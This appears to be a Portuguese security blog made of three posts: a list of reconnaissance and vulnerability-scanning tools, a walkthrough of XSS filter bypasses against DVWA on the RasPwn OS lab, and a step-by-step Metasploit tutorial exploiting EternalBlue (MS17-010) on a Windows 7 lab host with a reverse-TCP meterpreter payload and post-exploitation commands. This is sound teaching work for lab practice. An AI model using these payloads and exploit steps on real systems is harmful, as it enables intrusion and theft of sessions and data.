Essa semana fui perguntado quais ferramentas eu conhecia para buscar vulnerabilidades em sites e hosts. Informei as mais conhecidas como Nessus e OpenVAS.
Porém, me lembrei de uma lista que guardo nos favoritos de alguns sites e ferramentas que também utilizo, porém não cabia na conversa (e minha memória não é melhor que a minha lista de favoritos)

Antes da lista, algumas considerações:

  • Deixando claro que essa não é uma lista definitiva e nem completa, porém é uma forma de compartilhamento de informações.
  • Também não existe ferramenta melhor que a outra. Cada um tem seu propósito e funciona de forma diferente. Pode ser que cada uma delas traga uma informação e cabe a você pegar as melhores informações na hora de gerar seu relatório.
  • Algumas dessas ferramentas não recebem mais atualizações, porém ainda são excelente.

Agora sim, uma pequena descrição de cada uma dessas ferramentas e seus respectivos sites:

theHarvester (https://github.com/laramies/theHarvester)
Ferramenta para a coleta de dados de um host sendo possível encontrar e-mails, subdomínios, IPs e URLs.
Usa vários motores do busca como o Google e Bing, mas também outros mais específicos como o netcraft e shodan.

Netcraft (https://toolbar.netcraft.com/site_report)
Como comentado acima, um tipo de motor de busca, mas que faz uma busca completa em um site.
É possível saber se o site já foi reportado como inseguro e quais são os serviços que mantém o site online.

Shodan (https://www.shodan.io/)
Outro motor de busca, porém mais voltado para dispositivos de rede na internet.
Muito utilizado para levantar informações sobre hosts ou fazer busca de hosts vulneráveis.

Censys (https://censys.io/)
Muito semelhante ao Shodan, também faz buscas na internet usando consultas personalizadas.

Maltego (https://github.com/paterva)
O Maltego é utilizado para fazer busca de informações na internet, semelhante ao theHarvester, porém ele é bem mais visual e mais automatizado.
Excelente quando se pretende levantar informações de um domínio.

nmap (Zenmap e NSE) (https://github.com/nmap/nmap)
Provavelmente a ferramenta mais conhecida dessa lista, o NMAP é uma ferramenta open source para fazer um scan em rede.
Muito utilizada para descobrir portas e vulnerabilidade nos hosts de uma rede. A sua interface gráfica é o Zenmap.

whatsweb (https://github.com/urbanadventurer/WhatWeb)
Caso queira saber quais aplicações e suas versões, redirecionamentos e configurações de um site, o WhatWeb vai ser muito útil.
Ele faz uma consulta ao domínio e retorna as informações da tecnologia que dá suporte ao site, incluindo CMS.

dirb (https://gitlab.com/kalilinux/packages/dirb)
O dirb é um scanner de conteúdo WEB. Ele varre um domínio por completo atrás de outros subdomínios, estando esses publicados ou ocultos.
Geralmente utilizado para encontrar subdomínios que o administrador queria esconder.

dmitry (https://github.com/jaygreig86/dmitry/)
Também com o propósito de levantar informações sobre um domínio, o dmitry usa motores de busca para levantar informações.

Nikto (https://github.com/sullo/nikto)
Assim como os outros acima, busca informações de um domínio. Uma de suas vantagens é a utilização em docker e as constantes atualizações no seu projeto do github

What CMS? (https://whatcms.org)
O site “What CMS?” faz busca no site buscando informações que possam levar a uma possível identificação de um CMS. Está na dúvida se o site é wm WordPress? Esse site irá te ajudar!

WPscan (https://github.com/wpscanteam/wpscan)
Essa ferramenta é voltada para o CMS WordPress. Ela reúne em seu banco de dados as informações das vulnerabilidades conhecidas para o WordPress e assim tenta encontrar essas brechas.

joomscan (https://github.com/rezasp/joomscan)
Assim como WPscan, o joomscan é uma ferramenta voltada a um CMS, mas nesse caso, como o nome sugere, ao Joomla!

sqlmap (https://github.com/sqlmapproject/sqlmap)
Aumentando a lista das ferramentas focadas em uma ferramenta, o sqlmap é uma ferramenta para exploração automatizada utilizando a técnica de SQL Injection.
Feita em python, suporta os bancos de dados mais populares do mercado.

Red Hawk (https://github.com/Tuhinshubhra/RED_HAWK)
Ferramenta feita em PHP para obter informações de sites. De acordo com a sua documentação, ele consegue informações como consultas whois e dns, subdomínios, detecção de CMS.

uniscan (https://sourceforge.net/projects/uniscan/)
Apesar de ser uma das ferramentas mais desatualizadas da lista, é ainda bastante eficiente.
É utilizada para buscar vulnerabilidades dos tipos “Remote File Include, Local File Include e Remote Command Execution” em sites.

skipfish (https://github.com/spinkham/skipfish)
Ferramenta criada pelo Google que faz busca recursiva e ataques de dicionário para buscar vulnerabilidades em sites.

OWASP Zap (https://github.com/zaproxy/zaproxy)
A OWASP é uma comunidade online com foco na melhoria da segurança de softwares. Uma de suas contribuições mais famosas é a sua lista de TOP 10 de vulnerabilidades mais atacadas no mundo.
Essa comunidade criou o ZAP (Zed Attack Proxy) que realiza uma busca automatizada de vulnerabilidades em sites. Também existe a possibilidade de utilizar a ferramenta para buscas manuais.

Sn1per (https://github.com/1N3/Sn1per)
o Sn1per é um framework para um pentest automatizado. Ele utiliza outras ferramentas para conseguir os seus resultados.
Isso não quer dizer que ele é uma ferramenta ruim, pelo contrário. Ele utiliza as melhores ferramentas para conseguir o melhor resultado.

Este artigo tem a finalidade meramente acadêmica. Os autores desse artigo, e de qualquer outro artigo deste site, não se responsabilizam por qualquer atividade relacionada a esse material sendo executadas por qualquer pessoa. O uso indevido dessas informações podem resultar em acusações criminais interpostas contra as pessoas em questão.


Ao Som de Porcupine Tree – The Sound of Musak

Uma das maiores reclamações dos estudantes da segurança da informação, é o fato de utilizar máquinas virtuais para os estudos. Muitos acham frustante por não estar instalado em uma máquina física. Pensando nisso, foi desenvolvida uma distribuição para ser instalada em um Raspberry Pi e que é intencionalmente vulnerável. Essa distribuição é a RasPwn OS.

A distribuição RasPwn OS é baseada na distribuição Debian Wheezy. De acordo com o Github oficial, é uma distro Linux no espírito da distro “Damn Vulnerable Linux (DVL)” e usa o Raspberry Pi 2B e 3 para emular um servidor Linux vulnerável, por tanto esse é o único propósito do RasPwn OS e ele não deve ser exposto a internet, pois pode comprometer toda a sua rede interna. 

No meu caso, tenho um Raspberry Pi 3 com cartão de memória de 16 gb. É o suficiente para começar os estudos. Também é possível instalar no Raspberry Pi 2B, porém precisa de uma adaptador wifi conectado a uma das portas USB, pois não possui uma interface interna de wifi, ao contrário do Raspberry Pi 3 que já possui wifi integrado.

Meu Raspberry Pi 3... <3

Meu Raspberry Pi 3…

 

Baixei a imagem no site oficial, extrai usando o 7ZIP e fiz a cópia da ISO para o cartão utilizando o Etcher. O procedimento usado para gerar o conteúdo da imagem pode variar, não sendo uma regra.

Após esse procedimento, coloquei o cartão no slot do Raspberry e liguei a fonte na energia. Caso queira acompanhar a primeira inicialização do OS, basta colocar um monitor HDMI. O sistema reiniciará uma vez e após isso estará pronto para o uso.

 

A primeira coisa a se fazer é conectar-se o sistema operacional que você utilizará para estudar no wifi que o RasPwn criou. 
SSID: RasPwn OS
Senha: In53cur3!

Depois de conectar-se a rede wifi criada, utilize um browser e acesse o endereço: http://playground.raspwn.org/. Essa é a página principal do RasPwn OS e que dará acesso aos outros sistemas instalados no mesmo sistema. Você notará que a rede criada é a 192.168.99.0/24, assim você pode passar algum scanner de rede para testes.

A documentação oficial da distribuição informa os ips atribuídos a cada serviço:

Bind (192.168.99.1, 192.168.99.10) – DNS Server
Postfix (192.168.99.18) – Mail Transfer Agent
Dovecot (192.168.99.18) – Mail Client Server
Samba (192.168.99.10) – Windows File Sharing Server
Apache2 (192.168.99.13) – Web Server
Nginx (192.168.99.7) – Web Server
MySQL Server (127.0.0.1) – Database Server
OpenSSH (192.168.99.1) – SSH server

 

Além disso, há alguns aplicativos instalado com versões desatualizadas para as vulnerabilidades conhecidas serem exploradas:

Concrete 5.6.3.4 – http://playground.raspwn.org/concrete5/
Drupal 6.34 – http://playground.raspwn.org/drupal-6.34/
Drupal 7.34 – http://playground.raspwn.org/drupal-7.34/
Joomla 2.5.28 – http://playground.raspwn.org/joomla-2/
Joomla 3.4.0 – http://playground.raspwn.org/joomla-3/
osCommerce 2.3 – http://playground.raspwn.org/oscommerce/
phpBB 3.0.13 – http://playground.raspwn.org/phpBB3/
WordPress 3.8.1 – http://playground.raspwn.org/wordpress3/
WordPress 4.1 – http://playground.raspwn.org/wordpress4
Zen-Cart 1.5.4 – http://playground.raspwn.org/zencart
PhpMyAdmin 3.4.11 – http://playground.raspwn.org/phpmyadmin/
Samba SWAT 3.6.6 – http://playground.raspwn.org:901 (wifi adapter only)
Roundcube 0.7.2 – http://playground.raspwn.org/roundcube/

 

Há também serviços WEB para testes de vulnerabilidades:

OWASP Bricks – http://playground.raspwn.org/bricks
Damn Vulnerable Web Application (DVWA) – http://playground.raspwn.org/dvwa
OWASP Hackademic – http://playground.raspwn.org/hackademic
OWASP Mutillidae II – http://playground.raspwn.org/mutillidae
Peruggia – http://playground.raspwn.org/peruggia
WackoPicko – http://wackopicko.playground.raspwn.org (wifi adapter only)
WebGoat – http://playground.raspwn.org:8080/WebGoat (wifi adapter only)

 

Para título de exemplo, vou usar o DVWA para exemplificar a vulnerabilidade XSS (Cross-Site Scripting)

 

 

Primeiramente, vamos acessar o DVWA:

http://playground.raspwn.org/dvwa
Login: admin
Senha: password

 

 

Iremos fazer os testes com 3 níveis de segurança: Low, Medium e High.

Todos os 3 ataques abaixo são do tipo Refletido ou Não Persistente.

Vamos começar com o Low. Para fazer isso, no Menu da esquerda, basta clicar em DVWA Security.

 

Só escolher Low e depois clicar em Submit.

 

 

Agora, vamos acessar a página para testes XSS. No menu da esquerda, clicar em XSS (Reflected).

 

 

Como estamos estudando, vamos olhar o código do fonte da página para assim entender como funcionam as proteções.

 

 

Para ver o código fonte (lembre-se que não é possível ver em uma página comum da web, pois o código php será interpretado e exibido apenas o resultado HTML final), basta clicar no final da página em View Source.

 

 

Como é possível observar, não há nenhuma proteção para evitar o XSS, então podemos utilizar o XSS mais básico (afinal, a segurança está setada para Low)

 

 

No único campo que há (What’s your name?):

<script>alert(“Ataque XSS LOW”);</script>

 

 

Sucesso!

 

Agora com o nível de segurança em “Medium”. Lembre-se de mudar o nível na página de configuração.

 

 

Mais uma vez, vamos olhar o código fonte:

 

 

Agora é possível observar que no código há uma proteção para evitar que o código <script> seja interpretado. Porém, é apenas para <script>, caso utilize o mesmo texto, mas com letras maiúsculas e minúsculas, o script será interpretado. Logo, por exemplo, podemos utilizar <ScRiPt>.

 

 

<ScRiPt>alert(“Ataque XSS MEDIUM”);</sCrIpT>

 

 

Sucesso!

 

Uma outra forma é colocar o script dentro do código script. Estranha explicação, então vamos para a prática e ficará mais claro.

 

 

<scri<script>pt>alert(“Ataque XSS MEDIUM 2”);</scri<script>pt>

 

 

Sucesso!

A explicação é que com a proteção da forma que está, a string <script> será suprimida, isso fará que o texto que está “em volta” da string fica um texto só, e será novamente <script>, assim executando o código.

 

E finalmente, nível de segurança HIGH!

 

 

Novamente, olhando o código fonte, podemos perceber que o código agora está mais sofisticado, impedindo que o <script> seja executado de qualquer forma. Então, vamos tentar inserir código html.

 

 

<img src=x onError=alert(“document.cookie”);>

 

Sucesso!

Nesse exemplo, é inserido um código html de imagem, porém a imagem não existe, logo existe um tratamento para o erro que é executado quando essa condição for verdadeira, que é o caso. Assim, o código XSS é executado. Também é possível perceber que foi utilizado o parâmetro alert(document.cookie) que serve para exibir o cookie da sessão atual.

 

Depois de contemplado os 3 ataques em modo Refletido, agora em modo Persistente:

No menu da esquerda, clicar em XSS (Stored).

 

 

Em todos os exemplos, vamos colocar os códigos no campo “Name”

Começando pelo Persistente no modo LOW:

 

 

Sempre é bom olhar o código fonte para verificar se há alguma proteção.

Como é no nível LOW, não há nenhuma proteção:

 

 

Então, vamos usar o ataque básico:

<script>alert(“Ataque XSS LOW”);</script>

 

 

Pode observar que não foi possível inserir todo texto no campo Name. Logo, vamos inspecionar o elemento.

 

 

Observe que na linha destacada, há a limitação para apenas 10 caracteres . Vamos aumentar pra 100!

 

 

É possível observar que agora o código cabe todo. Agora é só executar:

 

 

Sucesso! 

Como as informações inseridas ficam no banco de dados, vamos dar um reset no banco antes de ir para o nível de segurança “Medium”

Para fazer isso, basta ir no menu do lado esquerdo e clicar em “Setup / Reset DB”.

 

 

No final da página, basta clicar em “Create / Reset Database DB”.

 

 

Ao fazer isso, os bancos serão apagados e criados novamente. Assim, podemos passar para o nível de segurança Medium.

 

 

Agora no nível “MEDIUM” e já olhando o código fonte:

 

 

Há a mesma proteção que já observamos no mesmo nível no modo Persistente, então vamos usar as mesmos scripts.

 

 

E aparentemente, também há a limitação de 10 caracteres. Então vamos mudar logo pra 100 também.

 

 

<ScRiPt>alert(“Ataque XSS MEDIUM”);</sCrIpT>

 

 

Também funciona a mesma técnica de colocar o “script” dentro de outro “script”.

 

 

<scri<script>pt>alert(“Ataque XSS MEDIUM 2”);</scri<script>pt>

 

 

Sucesso!

Agora, level “HIGH”. Não esquecer de dar reset no banco novamente.

 

 

Analisando o código fonte, também há a mesma proteção, logo vamos usar o mesmo código.

 

 

E adiantando também a limitação do campo “Name”, então vamos mudar logo pra 100 e colocar o código.

 

 

<img src=x onError=alert(“document.cookie”);>

 

 

Sucesso!

Isso é uma pequena amostra sobre o que é possível fazer com o RasPwn OS na parte de estudos. Espero trazer mais exemplos usando esse sistema, com outros sistemas e outras vulnerabilidades.

Caso queira testar com mais códigos XSS, no site GBHackers há uma lista com 500 exemplos: https://gbhackers.com/top-500-important-xss-cheat-sheet/

Espero ter ajudado e até uma próxima.

Ao som de: Rashid – Interior ft. Rapadura

 

Fontes:

http://raspwn.org/
https://github.com/alphacharlie/RasPwn
https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html
https://www.hackingarticles.in/xss-exploitation-dvwa-bypass-security/
http://2001594623noviani.blog.binusian.org/2018/05/27/cross-site-scripting-xss-on-dvwa/

O Metasploit Framework é uma ferramenta para desenvolvimento de Exploits com Payloads com o intuito de explorar vulnerabilidades! Simples! Não? Ok! Vamos por partes…

Framework: Você vai achar muitas definições de framework na internet, mas no nosso caso pode ser definido como um conjunto de ferramentas agrupadas em uma mesma solução. A ideia do framework é evitar retrabalhos ou utilização desnecessárias de uma mesma ferramenta ou código em um mesmo projeto. Sempre você vai ver um framework que vai te ajudar a automatizar trabalhos desnecessários ou mesmo aproveitamento de trabalhos já realizados. Resumindo: o Framework vai te ajudar a gerenciar melhor o seu trabalho.

Exploits: É por onde o ataque tem início, pois pode ser um código malicioso ou um software que utiliza-se de uma vulnerabilidade para atacar o sistema como um todo ou parte dele, assim abrindo caminho para a injeção de outro código, o Payload. Há 2 tipos de Exploits: Conhecidos e Desconhecidos (mais conhecidos por 0-day)

Payloads: Após o Exploit “abrir caminho” explorando uma falha ou vulnerabilidade, é executado um código que tem como função comprometer o sistema. O Payload que fará a transmissão de dados e a parte nociva já depois do sistema ter sido comprometido pela vulnerabilidade utilizando o Exploit.

Vulnerabilidade: é uma condição que quando explorada por um atacante pode resultar em uma violação de segurança.

 

Explicando o Cenário

Agora que a ferramenta foi explicada na teoria, podemos passar para a parte prática!

Nesse cenário há duas máquinas: Parrot Linux 4.4 64 bits (Atacante) e Windows 7 SP1 64bits (Vítima).
A Rede que estou usando é a 172.16.205.0/24

Como estou utilizando o Parrot 4.4, a ferramenta já vem instalada. No Kali Linux, também vem instalada. Caso queira instalar em alguma distribuição que não venha instalada, fazer o download na página oficial: https://www.metasploit.com/

Vou utilizar a vulnerabilidade reportada como MS17-010 (https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/MS17-010) popularmente conhecida como EternalBlue. A falha acontece no protocolo SMBv1, que é utilizado para a troca de arquivos pela rede. Essa vulnerabilidade ficou famosa, pois foi utilizada para espalhar os ransomwares WannaCry, Petya/NotPetya, e Bad Rabbit.

 

Preparando o Sistema

Inicialmente, vamos iniciar o nosso banco de dados postgres para que esse possa se integrar ao Metasploit.

systemctl start postgresql

 

Depois vamos iniciar o Metasploit

msfconsole

 

Vamos verificar o status da conexão com o banco de dados.

db_status

Caso retorne esse erro: “postgresql selected, no connection”…

 

Ou ao iniciar, apareça erros ao conectar ao banco de dados:

 

Seguir os seguintes passos:

exit (Sair do metasploit)
su postgres (Acessar o usuário postgres e tem que estar como root para poder mudar de usuário)
createuser root -P (Criar o usuário root e definir uma senha para ele)
createdb --owner=root msf_database (Criar uma entrada no banco de dados)
exit (Sair do usuário postgres)
msfconsole (Entrar no metasploit novamente)
db_connect root:senha_que_voce_definiu@127.0.0.1:5434/msf_database

Caso não funcione na porta 5434, olhe se a porta do postgres não é a 5432

Depois só conferir:

db_status

 

Caso queira fazer uma busca genérica usando o módulo Nmap que há no Metasploit, assim adicionando as informações do hosts no banco de dados:

db_nmap -A 172.16.205.0/24

Para ver os hosts que foram localizados com essa busca, basta digitar:

hosts

 

Buscando uma vítima

Como o post é direcionado para a falha EternalBlue, vamos procurar o módulo auxilar para realizar a busca na rede:

search smb_ms17_010

Vamos selecionar o módulo que apareceu:

use auxiliary/scanner/smb/smb_ms17_010

Após isso, vamos ver as suas opções:

show options

 

No nosso caso, precisamos colocar o Range de IP que vamos scannear

set RHOSTS 172.16.205.0/24

Vamos aumentar as threads para agilizar o scan

set threads 100

Depois de tudo configurado, agora é executar:

run ou exploit

 

Preparando o Exploit

Dentre o range selecionado, irá ser exibido as máquinas vulneráveis ao EternalBlue. Depois do alvo localizado, vamos iniciar o ataque.

Vamos buscar o exploit da falha EternalBlue

back
search ms17_010_eternalblue

 

Aparecem duas opções, mas vamos utilizar a primeira opção, pois a segunda é para Windows 8

use exploit/windows/smb/ms17_010_eternalblue

Assim como o scanner, vamos ver as opções:

show options

Como sabemos qual máquina é vulnerável a esse ataque, vamos colocar o IP dela no Exploit:

set rhost 172.16.205.129

 

Selecionando o Payload

Depois, vamos selecionar qual Payload vamos utilizar nesse Exploit. Nesse caso, mandei exibir todos os que são compatíveis com o Exploit:

show payloads

 

Para esse exemplo, vamos usar o meterpreter com conexão TCP Reversa

set payload windows/x64/meterpreter/reverse_tcp

Como a conexão será reversa, ou seja, a vítima que vai se comunicar com o atacante, devemos informar qual IP será conectado de volta.

set lhost 172.16.205.1

Vamos verificar se não está faltando nenhuma opção no Exploit ou no Payload:

show missing

 

Como está tudo certo, vamos executar:

run ou exploit

 

Acessando a Máquina da Vítima

Após isso, a conexão com o Windows já está ativa. Agora é só utilizar as ferramentas do meterpreter. Para listar todas basta digitar help. Mas como falar sobre todas as ferramentas não é o tema de post, vamos ver algumas:

Exibir informações do computador:

sysinfo

Exibir em qual usuário está sendo executado no Windows

getuid

Ter acesso ao Shell

shell

 

O comando PS exibe todas os processos na máquina da vítima.

 

Também é possível executar comandos do windows sem entrar no modo shell, usando o comando execute:

 

O intuito desse post é mostrar como um sistema com a configuração padrão, sem um bom sistema de proteção como antivirus, firewall e/ou antimalware, pode se tornar um alvo fácil. Note que em momento algum foi solicitado qualquer intervenção do usuário do computador Windows. Isso também mostra o perigo de se conectar a redes públicas/abertas.

 

Este artigo tem a finalidade meramente acadêmica. Os autores desse artigo, e de qualquer outro artigo deste site, não se responsabilizam por qualquer atividade relacionada a esse material sendo executadas por qualquer pessoa. O uso indevido dessas informações podem resultar em acusações criminais interpostas contra as pessoas em questão.

 

https://github.com/rapid7/metasploit-framework
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue

Ao Som de: Metallica – One